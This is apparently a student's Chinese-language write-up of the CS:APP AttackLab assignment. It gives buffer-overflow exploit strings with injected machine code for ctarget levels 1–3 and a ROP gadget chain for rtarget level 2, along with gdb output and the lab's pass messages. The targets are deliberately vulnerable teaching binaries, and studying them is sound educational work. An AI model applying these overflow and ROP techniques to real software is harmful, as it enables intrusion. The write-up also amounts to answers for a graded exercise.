

# AttackLab

曹景琦 2022010796

## Part 1

### Level 1

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
d5 88 80 00 00 00 00 00
```

先将ctarget文件反汇编得到ctarget.d, 查看getbuf函数的汇编代码, 发现%rsp - 0x18, 意味着有24个字节的空間, 所以我们构造24个字节的0, 之后在地址最高位插入touch1函数的8字节地址。

注意:

`sub $0x18,%rsp` 这句命令中的立即数是16进制表示的, 刚开始没有注意当作十进制来处理的。

字符串应该手动将字节序反序, 之后由hex2raw转换为二进制数据之后, 机器直接读入, 先读入的放在低地址位, 后读入的放在高地址位。

结果:

```
● crazy@DESKTOP-U8TR3MA:~/csapp/attacklab/target189$ ./hex2raw < ctarget01.txt | ./ctarget
Cookie: 0x3af05066
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

### Level 2

我们只需要将本来的返回地址改为注入代码的栈内存, 注入代码需要更改%rdi的值, 最后ret, 转到touch2()的地址, 执行touch2()的代码。

刚开始的时候卡在了如何获取注入代码在栈上的地址。

突然想到可以使用gdb, 在getbuf()函数打一个断点, 运行到这里查看%rsp的值, 再减去0x18, 就可以得到注入代码的地址。

```

crazy@DESKTOP-U8TR3MA:~/csapp/attacklab/target189$ gdb ./ctarget
Reading symbols from ./ctarget...
(gdb) b getbuf
Breakpoint 1 at 0x8088bf: file buf.c, line 12.
(gdb) print $rsp
No registers.
(gdb) r
Starting program: /home/crazy/csapp/attacklab/target189/ctarget
Cookie: 0x3af05066

Breakpoint 1, getbuf () at buf.c:12
12      buf.c: No such file or directory.
(gdb) print $rsp
$1 = (void *) 0x55647b70

```

得到如下的字节序列

```

48 c7 c7 66 50 f0 3a /* mov  $0x3af05066,%rdi */
48 83 ec 10          /* sub  $0x10,%rsp */
c3                  /* retq */
00 00 00 00
03 89 80 00 00 00 00
58 7b 64 55 00 00 00 00

```

想法是最高8字节是注入代码的地址，次高8字节是touch2()的地址，之后补一些0占位，最后是注入代码。

这里在设置%rdi之后，将%rsp - 16，在执行到注入代码的时候，返回地址已经弹出，%rsp + 1，所以要将%rsp - 16才可以在ret之后弹出touch2()的地址，执行touch2()的代码。

但是这种方法行不通（现在还没有想明白）：

```

crazy@DESKTOP-U8TR3MA:~/csapp/attacklab/target189$ ./hex2raw < ctarget02.txt | ./ctarget
Cookie: 0x3af05066
Type string:Touch2!: You called touch2(0x3af05066)
Valid solution for level 2 with target ctarget
Ouch!: You caused a segmentation fault!
Better luck next time
FAILED

```

之后我尝试将sub指令变为push指令，使用push写入touch2()地址。

```

48 c7 c7 66 50 f0 3a /* mov  $0x3af05066,%rdi */
68 03 89 80 00      /* pushq $0x808903 */
c3                  /* retq */
00 00 00
00 00 00 00 00 00 00
58 7b 64 55 00 00 00 00

```

这样才正确通过。

```

crazy@DESKTOP-U8TR3MA:~/csapp/attacklab/target189$ ./hex2raw < ctarget02_2.txt | ./ctarget
Cookie: 0x3af05066
Type string:Touch2!: You called touch2(0x3af05066)
Valid solution for level 2 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!

```

## Level 3

level 3中的hexmatch函数要在栈上开一个110字节的char数组，并且s的位置在100范围内波动。我们要保存cookie数据在某一个位置，所以不能将cookie保存在char数组的位置，防止被覆盖。于是想到可以将cookie数据保存在返回地址（也就是注入代码的地址）的上面。这样就可以避免在程序运行过程中被覆盖。

字节序列如下：

```

48 89 e7      /* mov  %rsp,%rdi */
68 1a 8a 80 00 /* pushq $0x808a1a */
c3           /* retq */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
58 7b 64 55 00 00 00 00
33 61 66 30 35 30 36 36

```

最高八位是按小端序排列的我的cookie的ascii编码，因为hexmatch函数中将我的cookie转换成了字符串，所以输入参数进行比较的时候，其实在比较他们的ascii码。

次高八位是注入代码的地址（同样使用gdb查看），中间使用一些0来补位，低地址部分是注入的代码，将上述cookie的地址作为传入函数的参数。接着压入touch3()函数的地址，之后ret，就跳转到touch3()函数执行。

结果如下：

```

crazy@DESKTOP-U8TR3MA:~/csapp/attacklab/target189$ ./hex2raw < ctarget03.txt | ./ctarget
Cookie: 0x3af05066
Type string:Touch3!: You called touch3("3af05066")
Valid solution for level 3 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!

```

## Part 2

### Level 2

因为栈随机化和代码可执行标志，我们无法使用上述方法。参考文件说明，我的想法是：需要将我的cookie传入%rdi，在给出的几个命令中，pop可行且最简单，只需要将cookie写入%rsp指向的地方，然后使用pop弹出栈并存储在%rdi中即可。pop %rdi对应的机器码是5f，但是我没有在gadget函数中找到5f，所以退而求其次，找是否可以pop到其他寄存器，再从其他寄存器mov到%rdi中，发现

```
0000000000808ac4 <getval_254>:
  808ac4: b8 b1 54 cf 58      mov    $0x58cf54b1,%eax
  808ac9: c3                  retq
```

这个函数中有58 c3序列，对应 `pop %rax` 和 `ret`。这个序列作为gadget 1。  
之后，需要找到 `mov %rax, %rdi`，查阅表格可以知道，对应的机器码是48 89 c7，后面需要跟一个c3。找到两个满足要求的函数：

```
0000000000808ad1 <setval_499>:
  808ad1: c7 07 48 89 c7 c3    movl   $0xc3c78948,(%rdi)
  808ad7: c3                  retq

0000000000808ad8 <addval_191>:
  808ad8: 8d 87 48 89 c7 c3    lea    -0x3c3876b8(%rdi),%eax
  808ade: c3                  retq
```

随便选一个即可，作为gadget 2。  
构造如下的字节序列：

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c8 8a 80 00 00 00 00 00
66 50 f0 3a 00 00 00 00
d3 8a 80 00 00 00 00 00
03 89 80 00 00 00 00 00
```

最低24位使用0来占位。  
接着，插入gadget 1的地址，注意808ac4需要+4。  
接着，插入cookie。  
接着，插入gadget 2的地址，注意808ad1需要+2。  
最高八位插入touch2()的地址。

结果如下：

```
● crazy@DESKTOP-U8TR3MA:~/csapp/attacklab/target189$ ./hex2raw < rtarget02.txt | ./rtarget
Cookie: 0x3af05066
Type string:Touch2!: You called touch2(0x3af05066)
Valid solution for level 2 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

# 自动评测系统结果

105	2022010796	Thu Nov 20 14:09:32 2025	95	10	25	25	35	0
-----	------------	-----------------------------	----	----	----	----	----	---

## 感想

作业设计非常精巧，几乎没有代码量却精准命中知识点。让我对小端法，函数调用，栈，内存，寄存器有了一定的理解。

非常好的作业！